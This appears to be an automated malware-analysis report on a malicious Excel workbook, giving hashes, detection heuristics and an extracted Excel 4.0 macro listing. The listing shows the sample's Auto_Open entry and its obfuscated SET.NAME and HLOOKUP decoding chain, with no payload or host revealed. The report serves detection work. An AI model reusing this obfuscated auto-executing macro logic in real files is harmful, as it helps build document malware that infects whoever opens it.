Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 31b23dde77ac6445…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:38 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: ee94e295617632aaa2bf45222eaa5713 SHA-1: 6c216da85675df42db21718c37444e42b4507147 SHA-256: 31b23dde77ac6445e7d3f70671c8236527f321449b3c8203755e6c1c2606f4af
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6803 bytes
SHA-256: 573c6eea2aa3ba3491bd68e472762c5306b0fb70aa3362e529942ecfd5571c91
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PZwYDOaHL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D137 
' 0018     23 LABEL : Cell Value, String Constant - AWoWeEVc len=0 
' 0018     27 LABEL : Cell Value, String Constant - BgdDRjKiGuFD len=0 
' 0018     20 LABEL : Cell Value, String Constant - bTDJQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - itzacxWVk len=0 
' 0018     25 LABEL : Cell Value, String Constant - IYeGMJUGIU len=0 
' 0018     24 LABEL : Cell Value, String Constant - IYEmBeBfG len=0 
' 0018     27 LABEL : Cell Value, String Constant - IyjQUirTmmrm len=0 
' 0018     25 LABEL : Cell Value, String Constant - jsIwSYDLjy len=0 
' 0018     25 LABEL : Cell Value, String Constant - LJgqpTYGPO len=0 
' 0018     23 LABEL : Cell Value, String Constant - maHJjVXn len=0 
' 0018     25 LABEL : Cell Value, String Constant - neAzrCiJut len=0 
' 0018     25 LABEL : Cell Value, String Constant - pAdepAeiDs len=0 
' 0018     20 LABEL : Cell Value, String Constant - qMZMH len=0 
' 0018     22 LABEL : Cell Value, String Constant - RFgtFPX len=0 
' 0018     21 LABEL : Cell Value, String Constant - vsVMKr len=0 
' 0018     21 LABEL : Cell Value, String Constant - WYASSZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - YEziG len=0 
' 0018     25 LABEL : Cell Value, String Constant - ykVowOXXoV len=0 
' 0018     26 LABEL : Cell Value, String Constant - yWKjrkpUoYu len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZWUFf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PZwYDOaHL,D42,"SET.NAME("yWKjrkpUoYu",0+VALUE("0"))",""
'  PZwYDOaHL,S44,"",-904.00000000000000000000
'  PZwYDOaHL,S45,"",20.00000000000000000000
'  PZwYDOaHL,S46,"",-548.00000000000000000000
'  PZwYDOaHL,D47,"SET.NAME("jsIwSYDLjy",yWKjrkpUoYu)",""
'  PZwYDOaHL,S47,"",-839.00000000000000000000
'  PZwYDOaHL,S48,"",-662.00000000000000000000
'  PZwYDOaHL,S49,"",254.00000000000000000000
'  PZwYDOaHL,D52,"SET.NAME("itzacxWVk",yWKjrkpUoYu)",""
'  PZwYDOaHL,D54,"SET.NAME("vsVMKr",COUNTA(IYEmBeBfG))",""
'  PZwYDOaHL,D56,"SET.NAME("RFgtFPX",COUNTA(ykVowOXXoV))",""
'  PZwYDOaHL,D60,[],""
'  PZwYDOaHL,D62,"SET.NAME("IyjQUirTmmrm","")",""
'  PZwYDOaHL,D67,"jsIwSYDLjy",""
'  PZwYDOaHL,D70,"SET.NAME("bTDJQ",HLOOKUP("*",IYEmBeBfG,jsIwSYDLjy,FALSE))",""
'  PZwYDOaHL,D74,"IYeGMJUGIU",""
'  PZwYDOaHL,D76,"SET.NAME("BgdDRjKiGuFD",yWKjrkpUoYu)",""
'  PZwYDOaHL,D78,[],""
'  PZwYDOaHL,D80,"BgdDRjKiGuFD",""
'  PZwYDOaHL,D84,"qMZMH",""
'  PZwYDOaHL,D89,"YEziG",""
'  PZwYDOaHL,D92,"maHJjVXn",""
'  PZwYDOaHL,D96,"SET.NAME("WYASSZ",VALUE(HLOOKUP("*",ykVowOXXoV,maHJjVXn,FALSE)))",""
'  PZwYDOaHL,D101,"neAzrCiJut",""
'  PZwYDOaHL,D105,"IyjQUirTmmrm",""
'  PZwYDOaHL,D110,"itzacxWVk",""
'  PZwYDOaHL,D115,NEXT(),""
'  PZwYDOaHL,D120,"AWoWeEVc",""
'  PZwYDOaHL,D124,[],""
'  PZwYDOaHL,D129,"LJgqpTYGPO",""
'  PZwYDOaHL,D132,NEXT(),""
'  PZwYDOaHL,D134,RETURN(),""
'  PZwYDOaHL,D157,"SET.NAME("pAdepAeiDs",D42)",""
'  PZwYDOaHL,D161,"IYEmBeBfG",""
'  PZwYDOaHL,D165,"SET.NAME("ykVowOXXoV",R80C11)",""
'  PZwYDOaHL,D167,"SET.NAME("LJgqpTYGPO",172)",""
'  PZwYDOaHL,D169,"SET.NAME("ZWUFf",4)",""
'  PZwYDOaHL,D171,pAdepAeiDs(),""
'  PZwYDOaHL,D172,HALT(),""

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